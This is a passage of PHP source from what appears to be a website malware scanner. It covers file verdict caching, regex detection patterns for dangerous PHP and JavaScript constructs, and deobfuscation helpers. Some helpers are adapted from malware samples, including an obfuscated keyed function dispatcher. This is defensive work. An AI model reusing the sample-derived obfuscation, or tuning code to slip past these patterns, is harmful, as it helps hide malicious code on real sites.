- //add entries to report, when needed
- $this->vars->blackFiles = array_merge($this->vars->blackFiles, $blackfiles);
- unset($white_raw, $black_raw, $dual, $sha_list, $index_table);
- }
- /**
- * regex scan a single file, add entry to report if needed
- * @param $fileInfo
- * @param $i
- */
- private function _regexScan($fileInfo, $i, $vars)
- {
- $regex_res = $this->regexScan($fileInfo->getFilename(), $i, $vars);
- if (!is_array($regex_res)) {
- return;
- }
- list($result, $sigId, $snippet) = $regex_res;
- $fileInfo->setVerdict($result);
- if ($result !== RapidScanStorageRecord::RX_GOOD) {
- $fileInfo->setSignature($sigId);
- $fileInfo->setSnippet($snippet);
- }
- }
- /**
- * regex scan batch of files.
- */
- private function doRegexScan($vars)
- {
- foreach ($this->scanlist as $i => $fileinfo) {
- if (!in_array($fileinfo->getVerdict(), array(
- RapidScanStorageRecord::WHITE,
- RapidScanStorageRecord::BLACK,
- RapidScanStorageRecord::DUAL_USE
- ))
- ) {
- $this->_regexScan($fileinfo, $i, $vars);
- }
- }
- }
- private function processScanList($vars)
- {
- $this->doCloudScan();
- $this->doRegexScan($vars);
- $this->writeNew();
- $this->scanlist = [];
- }
- private function scanFile($filename, $rescan, $i, $vars)
- {
- if ($vars->fileinfo !== null) {
- if($filename !== $vars->fileinfo->getFilename()) {
- unset($file);
- $vars->fileinfo = null;
- }
- }
-
- if ($vars->fileinfo == null) {
- $file = new FileInfo($filename, $i);
- $vars->fileinfo = $file;
- }
- $file = $vars->fileinfo;
- if (!file_exists($filename)) {
- return false;
- }
- $file = RapidScanStorageRecord::fromFile($file);
- $old_value = $this->db->getOld($file->getKey());
- $old_mtime = 0;
- if ($old_value) {
- $old_mtime = $old_value->getUpdatedTs();
- if ($file->getUpdatedTs() == $old_mtime) {
- $file = $old_value;
- $file->setFilename($filename);
- }
- }
- if ($file->getVerdict() == RapidScanStorageRecord::UNKNOWN
- || $file->getVerdict() == RapidScanStorageRecord::CONFLICT
- || $file->getUpdatedTs() !== $old_mtime
- ) {
- // these files has changed or we know nothing about them, lets re-calculate sha2
- // and do full scan
- $file->calcSha2();
- $file->setVerdict(RapidScanStorageRecord::NEWFILE);
- $this->scanlist[$i] = $file;
- } elseif ($file->getVerdict() == RapidScanStorageRecord::BLACK) {
- //these files hasn't changed, but need to be reported as they are on one of the lists
- $signature_id = $file->getSignature();
- $signature = isset($this->cas_list[$signature_id]) ? $this->cas_list[$signature_id] : '';
- $this->vars->blackFiles[$filename] = [
- 'h' => bin2hex($file->getSha2()),
- 'ts' => time(),
- 'sn' => $signature,
- 'ras_sigid' => $signature_id,
- ];
- $this->db->put($file);
- } elseif ($file->getVerdict() == RapidScanStorageRecord::DUAL_USE) {
- $this->db->put($file);
- } elseif (($rescan == self::RESCAN_SUSPICIOUS || $rescan == self::RESCAN_NONE)
- && $file->getVerdict() == RapidScanStorageRecord::RX_MALWARE
- ) {
- //this files were detected as rx malware before, let's report them
- $sigId = trim($file->getSignature(), "\0");
- if (isset($sigId) && isset($vars->signs->_Mnemo[$sigId])) {
- $sigName = $vars->signs->_Mnemo[$sigId];
- $snippet = $file->getSnippet();
- if (strpos($sigName, 'SUS') !== false && AI_EXTRA_WARN) {
- $vars->warningPHP[] = $i;
- $vars->warningPHPFragment[] = $snippet;
- $vars->warningPHPSig[] = $sigId;
- } elseif (strtolower(pathinfo($filename, PATHINFO_EXTENSION)) == 'js') {
- $vars->criticalJS[] = $i;
- $vars->criticalJSFragment[] = $snippet;
- $vars->criticalJSSig[] = $sigId;
- } else {
- $vars->criticalPHP[] = $i;
- $vars->criticalPHPFragment[] = $snippet;
- $vars->criticalPHPSig[] = $sigId;
- }
- $this->scanner->AddResult($vars->fileinfo, $i, $vars);
- $this->db->put($file);
- } else {
- $this->scanlist[$i] = $file;
- }
- } elseif ((
- $rescan == self::RESCAN_ALL
- && in_array($file->getVerdict(), array(
- RapidScanStorageRecord::RX_SUSPICIOUS,
- RapidScanStorageRecord::RX_GOOD,
- RapidScanStorageRecord::RX_MALWARE
- ))
- )
- || (
- $rescan == self::RESCAN_SUSPICIOUS
- && $file->getVerdict() == RapidScanStorageRecord::RX_SUSPICIOUS
- )
- ) {
- //rescan all mode, all none white/black/dual listed files need to be re-scanned fully
- $this->scanlist[$i] = $file;
- } else {
- //in theory -- we should have only white files here...
- $this->db->put($file);
- }
- if (count($this->scanlist) >= self::MAX_TO_SCAN) {
- // our scan list is big enough
- // let's flush db, and scan the list
- $this->db->flushBatch();
- $this->processScanList($vars);
- }
- if ($this->db->batch_count >= self::MAX_BATCH) {
- //we have added many entries to db, time to flush it
- $this->db->flushBatch();
- $this->processScanList($vars);
- }
- unset($file);
- $vars->fileinfo = null;
- }
- public function scan($files, $vars, $rescan = self::RESCAN_SUSPICIOUS)
- {
- $i = 0;
- $this->cas_list = $this->cas_db->getList();
-
- foreach ($files as $filepath) {
- $counter = $this->counter + $i;
- $vars->totalFiles++;
- $this->processedFiles = $counter - $vars->totalFolder - count($this->scanlist);
- printProgress($this->processedFiles, $filepath, $vars);
- $this->scanFile($filepath, $rescan, $counter, $vars);
- $i++;
- }
-
- if ($rescan == self::RESCAN_ALL) {
- $this->cas_db->delete();
- $this->cas_list = [];
- foreach ($this->vars->blackFiles as $blackfile) {
- $this->cas_list[$blackfile['ras_sigid']] = $blackfile['sn'];
- }
- $this->cas_db->putList($this->cas_list);
- }
- //let's flush db again
- $this->db->flushBatch();
- //process whatever is left in our scan list
- if (count($this->scanlist) > 0) {
- $this->processScanList($vars);
- }
- // whitelist
- $snum = 0;
- $list = $this->scanner->check_whitelist($vars->structure['crc'], $snum);
- $keys = array(
- 'criticalPHP',
- 'criticalJS',
- 'g_Iframer',
- 'g_Base64',
- 'phishing',
- 'adwareList',
- 'g_Redirect',
- 'warningPHP'
- );
- foreach ($keys as $p) {
- if (empty($vars->{$p})) {
- continue;
- }
- $p_Fragment = $p . 'Fragment';
- $p_Sig = $p . 'Sig';
- if ($p == 'g_Redirect') {
- $p_Fragment = $p . 'PHPFragment';
- }
- if ($p == 'g_Phishing') {
- $p_Sig = $p . 'SigFragment';
- }
- $count = count($vars->{$p});
- for ($i = 0; $i < $count; $i++) {
- $id = $vars->{$p}[$i];
- if ($vars->structure['crc'][$id] !== 0 && in_array($vars->structure['crc'][$id], $list)) {
- $rec = RapidScanStorageRecord::fromFile($vars->structure['n'][$id]);
- $rec->calcSha2();
- $rec->setVerdict(RapidScanStorageRecord::RX_GOOD);
- $this->db->put($rec);
- unset($vars->{$p}[$i], $vars->{$p_Sig}[$i], $vars->{$p_Fragment}[$i]);
- }
- }
- $vars->{$p} = array_values($vars->{$p});
- $vars->{$p_Fragment} = array_values($vars->{$p_Fragment});
- if (!empty($vars->{$p_Sig})) {
- $vars->{$p_Sig} = array_values($vars->{$p_Sig});
- }
- }
- //close databases and rename new into 'current'
- $this->db->finish();
- }
- }
- /**
- * DbFolderSpecification class file.
- */
- /**
- * Class DbFolderSpecification.
- *
- * It can be use for checking requirements for a folder that is used for storing a RapidScan DB.
- */
- class DbFolderSpecification
- {
- /**
- * Check whether a particular folder satisfies requirements.
- *
- * @param string $folder
- * @return bool
- */
- public function satisfiedBy($folder)
- {
- if (!file_exists($folder) || !is_dir($folder)) {
- return false;
- }
- $owner_id = (int)fileowner($folder);
- if (function_exists('posix_getpwuid')) {
- $owner = posix_getpwuid($owner_id);
- if (!isset($owner['name']) || $owner['name'] !== 'root') {
- return false;
- }
- }
- elseif ($owner_id != 0) {
- return false;
- }
- $perms = fileperms($folder);
- if (($perms & 0x0100) // owner r
- && ($perms & 0x0080) // owner w
- && ($perms & 0x0040) && !($perms & 0x0800) // owner x
- && !($perms & 0x0020) // group without r
- && !($perms & 0x0010) // group without w
- && (!($perms & 0x0008) || ($perms & 0x0400))// group without x
- && !($perms & 0x0004) // other without r
- && !($perms & 0x0002) // other without w
- && (!($perms & 0x0001) || ($perms & 0x0200))// other without x
- ) {
- return true;
- }
- return false;
- }
- }
- /**
- * CriticalFileSpecification class file.
- */
- /**
- * Class CriticalFileSpecification.
- */
- class CriticalFileSpecification
- {
- /**
- * @var array list of extension
- */
- private $extensions = [
- 'php',
- 'htaccess',
- 'cgi',
- 'pl',
- 'o',
- 'so',
- 'py',
- 'sh',
- 'phtml',
- 'php3',
- 'php4',
- 'php5',
- 'php6',
- 'php7',
- 'pht',
- 'shtml',
- 'susp',
- 'suspected',
- 'infected',
- 'vir',
- 'ico',
- 'js',
- 'json',
- 'com',
- ''
- ];
- private $js_extensions = [
- 'js',
- 'json',
- 'html',
- 'htm',
- 'suspicious'
- ];
- private $phish_extensions = [
- 'js',
- 'html',
- 'htm',
- 'suspected',
- 'php',
- 'phtml',
- 'pht',
- 'php7'
- ];
- private static $critical_content = '^\s*<\?php'
- . '|^\s*<\?='
- . '|^#!/usr'
- . '|^#!/bin'
- . '|\beval'
- . '|assert'
- . '|base64_decode'
- . '|\bsystem'
- . '|create_function'
- . '|\bexec'
- . '|\bpopen'
- . '|\bfwrite'
- . '|\bfputs'
- . '|file_get_'
- . '|call_user_func'
- . '|file_put_'
- . '|\$_REQUEST'
- . '|ob_start'
- . '|\$_GET'
- . '|\$_POST'
- . '|\$_SERVER'
- . '|\$_FILES'
- . '|\bmove'
- . '|\bcopy'
- . '|\barray_'
- . '|reg_replace'
- . '|\bmysql_'
- . '|\bchr'
- . '|fsockopen'
- . '|\$GLOBALS'
- . '|sqliteCreateFunction'
- . '|EICAR-STANDARD-ANTIVIRUS-TEST-FILE';
- private static $critical_js_content = '<script'
- . '|<iframe'
- . '|<object'
- . '|<embed'
- . '|fromCharCode'
- . '|setTimeout'
- . '|setInterval'
- . '|location\.'
- . '|document\.'
- . '|window\.'
- . '|navigator\.'
- . '|\$(this)\.'; /**$g_VirusEntries**/
- private static $critical_phish_content = '<\s*title'
- . '|<\s*html'
- . '|<\s*form'
- . '|<\s*body'
- . '|bank'
- . '|account'; /**$g_PhishEntries*/
- public function __construct()
- {
- $this->extensions = array_flip($this->extensions);
- $this->js_extensions = array_flip($this->js_extensions);
- $this->phish_extensions = array_flip($this->phish_extensions);
- }
- /**
- * Check whether a particular file with specified extension is critical.
- *
- * @param string $ext
- * @param string $type
- * @return bool
- */
- public function satisfiedBy($ext, $type)
- {
- return isset($this->{$type}[$ext]);
- }
- /**
- * Check whether a particular content is critical.
- *
- * @param string $content
- * @param string $type
- * @return bool
- */
- public function satisfiedByContent($content, $type)
- {
- return preg_match('~' . $this->{$type} . '~smiS', $content, $l_Found) ? true : false;
- }
- }
- class Helpers
- {
- public static function normalize($string, $save_length = false)
- {
- $search = array( ' ;', ' =', ' ,', ' .', ' (', ' )', ' {', ' }', '; ', '= ', ', ', '. '
- , '( ', '( ', '{ ', '} ', ' !', ' >', ' <', ' _', '_ ', '< ', '> ', ' $', ' %', '% '
- , '# ', ' #', '^ ', ' ^', ' &', '& ', ' ?', '? ');
- $replace = array( ';', '=', ',', '.', '(', ')', '{', '}', ';', '=', ',', '.'
- , '(', ')', '{', '}', '!', '>', '<', '_', '_', '<', '>', '$', '%', '%'
- , '#', '#', '^', '^', '&', '&', '?', '?');
- if (!$save_length) {
- $string = str_replace('@', '', $string);
- $string = preg_replace('~\s+~smi', ' ', $string);
- $string = str_replace($search, $replace, $string);
- }
- $string = preg_replace_callback('~\bchr\(\s*([0-9a-fA-FxX]+)\s*\)~', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad("'" . @chr(intval($m[1], 0)) . "'", strlen($m[0]), ' ');
- } else {
- return "'" . @chr(intval($m[1], 0)) . "'";
- }
- }, $string);
- $string = preg_replace_callback('/\&\#([0-9]{1,3});/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(@chr((int)$m[1]), strlen($m[0]), ' ');
- } else {
- return @chr((int)$m[1]);
- }
- }, $string);
- $string = preg_replace_callback('/\\\\x([a-fA-F0-9]{1,2})/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(chr(@hexdec($m[1])), strlen($m[0]), ' ');
- } else {
- return @chr(hexdec($m[1]));
- }
- }, $string);
- $string = preg_replace_callback('/\\\\([0-9]{1,3})/i', function($m) use ($save_length) {
- if ($save_length) {
- return str_pad(@chr(octdec($m[1])), strlen($m[0]), ' ');
- } else {
- return @chr(octdec($m[1]));
- }
- }, $string);
- $string = preg_replace_callback('/[\'"]\s*?\.+\s*?[\'"]/smi', function($m) use ($save_length) {
- if ($save_length) {
- return str_repeat(' ', strlen($m[0]));
- } else {
- return '';
- }
- }, $string);
- $string = preg_replace_callback('/[\'"]\s*?\++\s*?[\'"]/smi', function($m) use ($save_length) {
- if ($save_length) {
- return str_repeat(' ', strlen($m[0]));
- } else {
- return '';
- }
- }, $string);
- if (!$save_length) {
- $string = str_replace('<?php', '<?php ', $string);
- $string = preg_replace('~\s+~', ' ', $string);
- }
- return $string;
- }
- public static function format($source)
- {
- $t_count = 0;
- $in_object = false;
- $in_at = false;
- $in_php = false;
- $in_for = false;
- $in_comp = false;
- $in_quote = false;
- $in_var = false;
- if (!defined('T_ML_COMMENT')) {
- define('T_ML_COMMENT', T_COMMENT);
- }
- $result = '';
- @$tokens = token_get_all($source);
- foreach ($tokens as $token) {
- if (is_string($token)) {
- $token = trim($token);
- if ($token == '{') {
- if ($in_for) {
- $in_for = false;
- }
- if (!$in_quote && !$in_var) {
- $t_count++;
- $result = rtrim($result) . ' ' . $token . "\n" . str_repeat(' ', $t_count);
- } else {
- $result = rtrim($result) . $token;
- }
- } elseif ($token == '$') {
- $in_var = true;
- $result .= $token;
- } elseif ($token == '}') {
- if (!$in_quote && !$in_var) {
- $new_line = true;
- $t_count--;
- if ($t_count < 0) {
- $t_count = 0;
- }
- $result = rtrim($result) . "\n" . str_repeat(' ', $t_count) .
- $token . "\n" . @str_repeat(' ', $t_count);
- } else {
- $result = rtrim($result) . $token;
- }
- if ($in_var) {
- $in_var = false;
- }
- } elseif ($token == ';') {
- if ($in_comp) {
- $in_comp = false;
- }
- if ($in_for) {
- $result .= $token . ' ';
- } else {
- $result .= $token . "\n" . str_repeat(' ', $t_count);
- }
- } elseif ($token == ':') {
- if ($in_comp) {
- $result .= ' ' . $token . ' ';
- } else {
- $result .= $token . "\n" . str_repeat(' ', $t_count);
- }
- } elseif ($token == '(') {
- $result .= ' ' . $token;
- } elseif ($token == ')') {
- $result .= $token;
- } elseif ($token == '@') {
- $in_at = true;
- $result .= $token;
- } elseif ($token == '.') {
- $result .= ' ' . $token . ' ';
- } elseif ($token == '=') {
- $result .= ' ' . $token . ' ';
- } elseif ($token == '?') {
- $in_comp = true;
- $result .= ' ' . $token . ' ';
- } elseif ($token == '"') {
- if ($in_quote) {
- $in_quote = false;
- } else {
- $in_quote = true;
- }
- $result .= $token;
- } else {
- $result .= $token;
- }
- } else {
- list($id, $text) = $token;
- switch ($id) {
- case T_OPEN_TAG:
- case T_OPEN_TAG_WITH_ECHO:
- $in_php = true;
- $result .= trim($text) . "\n";
- break;
- case T_CLOSE_TAG:
- $in_php = false;
- $result .= trim($text);
- break;
- case T_FOR:
- $in_for = true;
- $result .= trim($text);
- break;
- case T_OBJECT_OPERATOR:
- $result .= trim($text);
- $in_object = true;
- break;
- case T_ENCAPSED_AND_WHITESPACE:
- case T_WHITESPACE:
- $result .= trim($text);
- break;
- case T_RETURN:
- $result = rtrim($result) . "\n" . str_repeat(' ', $t_count) . trim($text) . ' ';
- break;
- case T_ELSE:
- case T_ELSEIF:
- $result = rtrim($result) . ' ' . trim($text) . ' ';
- break;
- case T_CASE:
- case T_DEFAULT:
- $result = rtrim($result) . "\n" . str_repeat(' ', $t_count - 1) . trim($text) . ' ';
- break;
- case T_FUNCTION:
- case T_CLASS:
- $result .= "\n" . str_repeat(' ', $t_count) . trim($text) . ' ';
- break;
- case T_AND_EQUAL:
- case T_AS:
- case T_BOOLEAN_AND:
- case T_BOOLEAN_OR:
- case T_CONCAT_EQUAL:
- case T_DIV_EQUAL:
- case T_DOUBLE_ARROW:
- case T_IS_EQUAL:
- case T_IS_GREATER_OR_EQUAL:
- case T_IS_IDENTICAL:
- case T_IS_NOT_EQUAL:
- case T_IS_NOT_IDENTICAL:
- case T_LOGICAL_AND:
- case T_LOGICAL_OR:
- case T_LOGICAL_XOR:
- case T_MINUS_EQUAL:
- case T_MOD_EQUAL:
- case T_MUL_EQUAL:
- case T_OR_EQUAL:
- case T_PLUS_EQUAL:
- case T_SL:
- case T_SL_EQUAL:
- case T_SR:
- case T_SR_EQUAL:
- case T_START_HEREDOC:
- case T_XOR_EQUAL:
- $result = rtrim($result) . ' ' . trim($text) . ' ';
- break;
- case T_COMMENT:
- $result = rtrim($result) . "\n" . str_repeat(' ', $t_count) . trim($text) . ' ';
- break;
- case T_ML_COMMENT:
- $result = rtrim($result) . "\n";
- $lines = explode("\n", $text);
- foreach ($lines as $line) {
- $result .= str_repeat(' ', $t_count) . trim($line);
- }
- $result .= "\n";
- break;
- case T_INLINE_HTML:
- $result .= $text;
- break;
- default:
- $result .= trim($text);
- break;
- }
- }
- }
- return $result;
- }
- public static function replaceCreateFunction($str)
- {
- $hangs = 20;
- while (strpos($str, 'create_function') !== false && $hangs--) {
- $start_pos = strpos($str, 'create_function');
- $end_pos = 0;
- $brackets = 0;
- $started = false;
- $opened = 0;
- $closed = 0;
- for ($i = $start_pos, $iMax = strlen($str); $i < $iMax; $i++) {
- if ($str[$i] == '(') {
- $started = true;
- $brackets++;
- $opened++;
- } else if ($str[$i] == ')') {
- $closed++;
- $brackets--;
- }
- if ($brackets == 0 && $started) {
- $end_pos = $i + 1;
- break;
- }
- }
- $cr_func = substr($str, $start_pos, $end_pos - $start_pos);
- $func = implode('function(', explode('create_function(\'', $cr_func, 2));
- //$func = substr_replace('create_function(\'', 'function(', $cr_func);
- //$func = str_replace('\',\'', ') {', $func);
- $func = implode(') {', explode('\',\'', $func, 2));
- $func = substr($func, 0, -2) . '}';
- $str = str_replace($cr_func, $func, $str);
- }
- return $str;
- }
- public static function calc($expr)
- {
- if (is_array($expr)) {
- $expr = $expr[0];
- }
- preg_match('~(chr|min|max|round)?\(([^\)]+)\)~msi', $expr, $expr_arr);
- if (@$expr_arr[1] == 'min' || @$expr_arr[1] == 'max') {
- return $expr_arr[1](explode(',', $expr_arr[2]));
- } elseif (@$expr_arr[1] == 'chr') {
- if ($expr_arr[2][0] === '(') {
- $expr_arr[2] = substr($expr_arr[2], 1);
- }
- $expr_arr[2] = self::calc($expr_arr[2]);
- return $expr_arr[1](intval($expr_arr[2]));
- } elseif (@$expr_arr[1] == 'round') {
- $expr_arr[2] = self::calc($expr_arr[2]);
- return $expr_arr[1]($expr_arr[2]);
- } else {
- preg_match_all('~([\d\.a-fx]+)([\*\/\-\+\^\|\&])?~', $expr, $expr_arr);
- foreach ($expr_arr[1] as &$expr_arg) {
- if (strpos($expr_arg, "0x")!==false) {
- $expr = str_replace($expr_arg, hexdec($expr_arg), $expr);
- $expr_arg = hexdec($expr_arg);
- }
- }
- if (in_array('*', $expr_arr[2]) !== false) {
- $pos = array_search('*', $expr_arr[2]);
- $res = $expr_arr[1][$pos] * $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '*' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '*' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('/', $expr_arr[2]) !== false) {
- $pos = array_search('/', $expr_arr[2]);
- $res = $expr_arr[1][$pos] / $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '/' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '/' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('-', $expr_arr[2]) !== false) {
- $pos = array_search('-', $expr_arr[2]);
- $res = $expr_arr[1][$pos] - $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '-' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '-' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('+', $expr_arr[2]) !== false) {
- $pos = array_search('+', $expr_arr[2]);
- $res = $expr_arr[1][$pos] + $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '+' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '+' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('^', $expr_arr[2]) !== false) {
- $pos = array_search('^', $expr_arr[2]);
- $res = $expr_arr[1][$pos] ^ $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '^' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '^' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('|', $expr_arr[2]) !== false) {
- $pos = array_search('|', $expr_arr[2]);
- $res = $expr_arr[1][$pos] | $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '|' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '|' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } elseif (in_array('&', $expr_arr[2]) !== false) {
- $pos = array_search('&', $expr_arr[2]);
- $res = $expr_arr[1][$pos] & $expr_arr[1][$pos + 1];
- $pos_subst = strpos($expr, $expr_arr[1][$pos] . '&' . $expr_arr[1][$pos + 1]);
- $expr = substr_replace($expr, $res, $pos_subst, strlen($expr_arr[1][$pos] . '&' . $expr_arr[1][$pos + 1]));
- $expr = self::calc($expr);
- } else {
- return $expr;
- }
- return $expr;
- }
- }
- public static function getEvalCode($string)
- {
- preg_match("/eval\(([^\)]+)\)/msi", $string, $matches);
- return (empty($matches)) ? '' : end($matches);
- }
- public static function getTextInsideQuotes($string)
- {
- if (preg_match_all('/("(.*)")/msi', $string, $matches)) {
- return @end(end($matches));
- } elseif (preg_match_all('/\((\'(.*)\')/msi', $string, $matches)) {
- return @end(end($matches));
- } else {
- return '';
- }
- }
- public static function getNeedles($string)
- {
- preg_match_all("/'(.*?)'/msi", $string, $matches);
- return (empty($matches)) ? array() : $matches[1];
- }
- public static function getHexValues($string)
- {
- preg_match_all('/0x[a-fA-F0-9]{1,8}/msi', $string, $matches);
- return (empty($matches)) ? array() : $matches[0];
- }
- public static function formatPHP($string)
- {
- $string = str_replace('<?php', '', $string);
- $string = str_replace('?>', '', $string);
- $string = str_replace(PHP_EOL, "", $string);
- $string = str_replace(";", ";\n", $string);
- $string = str_replace("}", "}\n", $string);
- return $string;
- }
- public static function detect_utf_encoding($text)
- {
- $first2 = substr($text, 0, 2);
- $first3 = substr($text, 0, 3);
- $first4 = substr($text, 0, 4);
- if ($first4 == chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF)) {
- return 'UTF-32BE';
- } elseif ($first4 == chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00)) {
- return 'UTF-32LE';
- } elseif ($first2 == chr(0xFE) . chr(0xFF)) {
- return 'UTF-16BE';
- } elseif ($first2 == chr(0xFF) . chr(0xFE)) {
- return 'UTF-16LE';
- }
- return false;
- }
- //from sample_16
- public static function someDecoder($str)
- {
- $str = base64_decode($str);
- $TC9A16C47DA8EEE87 = 0;
- $TA7FB8B0A1C0E2E9E = 0;
- $T17D35BB9DF7A47E4 = 0;
- $T65CE9F6823D588A7 = (ord($str[1]) << 8) + ord($str[2]);
- $i = 3;
- $T77605D5F26DD5248 = 0;
- $block = 16;
- $T7C7E72B89B83E235 = "";
- $T43D5686285035C13 = "";
- $len = strlen($str);
- $T6BBC58A3B5B11DC4 = 0;
- for (; $i < $len;) {
- if ($block == 0) {
- $T65CE9F6823D588A7 = (ord($str[$i++]) << 8);
- $T65CE9F6823D588A7 += ord($str[$i++]);
- $block = 16;
- }
- if ($T65CE9F6823D588A7 & 0x8000) {
- $TC9A16C47DA8EEE87 = (ord($str[$i++]) << 4);
- $TC9A16C47DA8EEE87 += (ord($str[$i]) >> 4);
- if ($TC9A16C47DA8EEE87) {
- $TA7FB8B0A1C0E2E9E = (ord($str[$i++]) & 0x0F) + 3;
- for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E; $T17D35BB9DF7A47E4++) {
- $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4] =
- $T7C7E72B89B83E235[$T77605D5F26DD5248 - $TC9A16C47DA8EEE87 + $T17D35BB9DF7A47E4];
- }
- $T77605D5F26DD5248 += $TA7FB8B0A1C0E2E9E;
- } else {
- $TA7FB8B0A1C0E2E9E = (ord($str[$i++]) << 8);
- $TA7FB8B0A1C0E2E9E += ord($str[$i++]) + 16;
- for ($T17D35BB9DF7A47E4 = 0; $T17D35BB9DF7A47E4 < $TA7FB8B0A1C0E2E9E;
- $T7C7E72B89B83E235[$T77605D5F26DD5248 + $T17D35BB9DF7A47E4++] = $str[$i]) {
- }
- $i++;
- $T77605D5F26DD5248 += $TA7FB8B0A1C0E2E9E;
- }
- } else {
- $T7C7E72B89B83E235[$T77605D5F26DD5248++] = $str[$i++];
- }
- $T65CE9F6823D588A7 <<= 1;
- $block--;
- if ($i == $len) {
- $T43D5686285035C13 = $T7C7E72B89B83E235;
- if (is_array($T43D5686285035C13)) {
- $T43D5686285035C13 = implode($T43D5686285035C13);
- }
- $T43D5686285035C13 = "?" . ">" . $T43D5686285035C13;
- return $T43D5686285035C13;
- }
- }
- }
- //
- public static function someDecoder2($WWAcmoxRAZq, $sBtUiFZaz) //sample_05
- {
- $JYekrRTYM = str_rot13(gzinflate(str_rot13(base64_decode('y8svKCwqLiktK6+orFdZV0FWWljPyMzKzsmNNzQyNjE1M7ewNAAA'))));
- if ($WWAcmoxRAZq == 'asedferg456789034689gd') {
- $cEerbvwKPI = $JYekrRTYM[18] . $JYekrRTYM[19] . $JYekrRTYM[17] . $JYekrRTYM[17] . $JYekrRTYM[4] . $JYekrRTYM[21];
- return $cEerbvwKPI($sBtUiFZaz);
- } elseif ($WWAcmoxRAZq == 'zfcxdrtgyu678954ftyuip') {
- $JWTDeUKphI = $JYekrRTYM[1] . $JYekrRTYM[0] . $JYekrRTYM[18] . $JYekrRTYM[4] . $JYekrRTYM[32] .
- $JYekrRTYM[30] . $JYekrRTYM[26] . $JYekrRTYM[3] . $JYekrRTYM[4] . $JYekrRTYM[2] . $JYekrRTYM[14] .
- $JYekrRTYM[3] . $JYekrRTYM[4];
- return $JWTDeUKphI($sBtUiFZaz);
- } elseif ($WWAcmoxRAZq == 'gyurt456cdfewqzswexcd7890df') {
- $rezmMBMev = $JYekrRTYM[6] . $JYekrRTYM[25] . $JYekrRTYM[8] . $JYekrRTYM[13] . $JYekrRTYM[5] . $JYekrRTYM[11] . $JYekrRTYM[0] . $JYekrRTYM[19] . $JYekrRTYM[4];
- return $rezmMBMev($sBtUiFZaz);
- } elseif ($WWAcmoxRAZq == 'zcdfer45dferrttuihvs4321890mj') {
- $WbbQXOQbH = $JYekrRTYM[18] . $JYekrRTYM[19] . $JYekrRTYM[17] . $JYekrRTYM[26] . $JYekrRTYM[17] . $JYekrRTYM[14] . $JYekrRTYM[19] . $JYekrRTYM[27] . $JYekrRTYM[29];
- return $WbbQXOQbH($sBtUiFZaz);
- } elseif ($WWAcmoxRAZq == 'zsedrtre4565fbghgrtyrssdxv456') {
- $jPnPLPZcMHgH = $JYekrRTYM[2] . $JYekrRTYM[14] . $JYekrRTYM[13] . $JYekrRTYM[21] . $JYekrRTYM[4] . $JYekrRTYM[17] . $JYekrRTYM[19] . $JYekrRTYM[26] . $JYekrRTYM[20] . $JYekrRTYM[20] . $JYekrRTYM[3] . $JYekrRTYM[4] . $JYekrRTYM[2] . $JYekrRTYM[14] . $JYekrRTYM[3] . $JYekrRTYM[4];
- return $jPnPLPZcMHgH($sBtUiFZaz);
- }
- }
- public static function someDecoder3($str)
- {
- $l = base64_decode($str);
- $lllllll = 0;
- $lllll = 3;
- $llllll = (ord($l[1]) << 8) + ord($l[2]);
- $lllllllll = 16;
- $llllllll = [];
- for ($lllllMax = strlen($l); $lllll < $lllllMax;) {
- if ($lllllllll == 0) {
- $llllll = (ord($l[$lllll++]) << 8);
- $llllll+= ord($l[$lllll++]);
- $lllllllll = 16;
- }
- if ($llllll & 0x8000) {
- $lll = (ord($l[$lllll++]) << 4);
- $lll+= (ord($l[$lllll]) >> 4);
- if ($lll) {
- $ll = (ord($l[$lllll++]) & 0x0f) + 3;
- for ($llll = 0;$llll < $ll;$llll++) $llllllll[$lllllll + $llll] = $llllllll[$lllllll - $lll + $llll];
- $lllllll+= $ll;
- } else {
- $ll = (ord($l[$lllll++]) << 8);
- $ll+= ord($l[$lllll++]) + 16;
- for ($llll = 0;$llll < $ll;$llllllll[$lllllll + $llll++] = ord($l[$lllll]));
- $lllll++;
- $lllllll+= $ll;
- }
- } else {
- $llllllll[$lllllll++] = ord($l[$lllll++]);
- }
- $llllll <<= 1;
- $lllllllll--;
- }
- $lllll = 0;
- $lllllllll="?".chr(62);
- $llllllllll = "";
- for (;$lllll < $lllllll;) {
- $llllllllll.= chr($llllllll[$lllll++] ^ 0x07);
- }
- $lllllllll.=$llllllllll.chr(60)."?";
- return $lllllllll;
- }
- public static function PHPJiaMi_decoder($str, $md5, $rand, $lower_range = '')
- {
- $md5_xor = md5($md5);
